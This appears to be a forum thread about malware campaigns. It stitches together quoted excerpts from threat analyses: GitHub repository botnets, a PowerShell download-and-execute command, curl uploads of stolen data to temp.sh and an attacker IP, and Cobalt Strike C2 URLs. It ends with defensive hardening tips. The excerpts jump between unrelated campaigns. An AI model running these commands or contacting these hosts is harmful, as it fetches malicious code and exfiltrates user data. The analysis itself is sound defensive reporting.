Ransomware malware targeting Linux Desktop users spotted in the wild
github.com12 pointsby gus_2 comments
- This is a new repository, not a fork
- All repositories have different contributors and different names
From the last two points, it becomes clear that even if we find one such repository, we won’t be able to find other similar repositories using it.
In previous campaigns the repositories were linked to a few users. But those users had starred other users, that at the same time had also cloned other repositories with the malware. Sometimes the malicious repository had been cloned from another malicious repo, and if you listed the repositories and "friends" of that user, all were part of the botnet. This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicio... const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains: What likely happened:
The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues.
Any base64 string passed to python via cmdline should be considered as HIGHLY suspicious, by default. Or anything executed from /tmp, /var/tmp, /dev/shm. Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA
if @op would have had Lulu or LittleSnitch installed, they would probably have noticed (and blocked) suspicious outbound connections from unexpected binaries. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "[email protected]" -s https://temp.sh/upload command;
4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202
-- The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
-- The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin
2. restrict outbound connections to known malicious IPs or domains.
3. run untrusted code/apps:
4. remove exec permissions to temporary directories (/tmp, /var/tmp, /dev/shm)